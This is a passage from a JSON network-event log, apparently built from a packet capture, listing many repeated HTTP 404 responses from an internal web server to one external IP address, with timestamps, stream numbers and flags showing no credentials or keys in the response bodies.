          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1828,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256198.596358000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1835",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53737,
          "event_id": "evt-b62abe0b33aaff070c092539",
          "src_port": 80,
          "tcp_stream": 58,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1837,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256202.542703000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1844",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53864,
          "event_id": "evt-f5b702675f27a1118dd6b014",
          "src_port": 80,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1846,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256203.857326000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1848",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53864,
          "event_id": "evt-1f6d4bd4e373d283d5237975",
          "src_port": 80,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1849,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256204.114853000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1851",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53864,
          "event_id": "evt-300d47e9398911c1ea48f929",
          "src_port": 80,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1852,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256204.372433000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1854",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53864,
          "event_id": "evt-56b54f5fc1bdd256950dd6de",
          "src_port": 80,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1855,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256205.443103000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1857",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53864,
          "event_id": "evt-accec26c7d5e82a54286a899",
          "src_port": 80,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1858,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256205.708563000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1860",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53864,
          "event_id": "evt-8b863ab7a08c426d6b95cc5a",
          "src_port": 80,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1861,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256205.966474000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1863",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53864,
          "event_id": "evt-4653fe6d384a34d23c935072",
          "src_port": 80,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1864,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256206.256582000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1869",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54831,
          "event_id": "evt-91e188b584d7ec0b2a2da36b",
          "src_port": 80,
          "tcp_stream": 60,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1871,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256209.798981000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1882",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55480,
          "event_id": "evt-7e0a3bd03db080b37047a6ce",
          "src_port": 80,
          "tcp_stream": 62,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1884,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256214.875112000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1886",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55480,
          "event_id": "evt-6c05c8f2fb71c69619f5fb50",
          "src_port": 80,
          "tcp_stream": 62,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1887,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256215.393996000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1896",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56638,
          "event_id": "evt-bc19b938afb51daf430f2c85",
          "src_port": 80,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1898,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256227.169646000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1900",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56638,
          "event_id": "evt-dfe924f9b39465a3473c05a3",
          "src_port": 80,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1901,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256228.386032000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1903",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56638,
          "event_id": "evt-d688f8a87c999cde14e015f4",
          "src_port": 80,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1904,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256229.669773000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1906",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56638,
          "event_id": "evt-23f66b6be84ca0073bf3449a",
          "src_port": 80,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1907,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256229.964342000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1909",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56638,
          "event_id": "evt-348df327d6e9da83e52f9794",
          "src_port": 80,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1910,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256230.244102000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1912",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56638,
          "event_id": "evt-de5a8805273673ab7b13dcad",
          "src_port": 80,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1913,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256231.264551000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1922",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-50c24cf4ec9eef5b7df2c936",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1924,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256241.792678000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1926",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-0df434f905db0c13cd253667",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1927,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256243.251710000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1929",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-6630c314e1dc752506a4a0b8",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1931,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256245.178625000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1933",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-e6d7961339573f63dc549242",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1934,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256245.437754000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1936",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-897d2e2c2cc591e0f0ff1ed2",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1937,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256245.702982000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1939",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-c36f3044c9f307677019089f",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1940,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256246.719535000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1942",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-a21288a037a00cfac3ace513",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1943,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256247.125641000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1945",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-554688c7e930f5e5d66b7386",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1946,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256247.384030000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1948",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-16910ea42f10c7bce0ae0489",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1949,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256247.642285000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1951",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-0b939dbecbe6b5fbed476ecb",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1952,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256249.572030000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1954",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-f5a5e0dc6748d5e9f2720912",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1955,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256249.847028000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1957",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-dd75133aede3145241e212ed",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1958,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256251.358096000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1960",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-70375ea3e5ab62c904db8f9c",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1961,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256253.280806000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1963",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-90ea0187ccc7d8f865dffef8",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1964,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256253.742243000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1966",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-f1cf952f068dd7cbc8f2e45d",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1967,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256255.154792000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1969",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58115,
          "event_id": "evt-b021322f885a55b919106caa",
          "src_port": 80,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1970,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256257.763998000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1979",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61744,
          "event_id": "evt-6a7a29a78a333ab5a9c156e1",
          "src_port": 80,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1981,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256278.053495000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1983",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61744,
          "event_id": "evt-927a90229d0e747a29923289",
          "src_port": 80,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1984,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256279.320964000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1986",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61744,
          "event_id": "evt-a6ed2786aab625f92e5696eb",
          "src_port": 80,
          "tcp_stream": 65,
          "udp_stream": null,
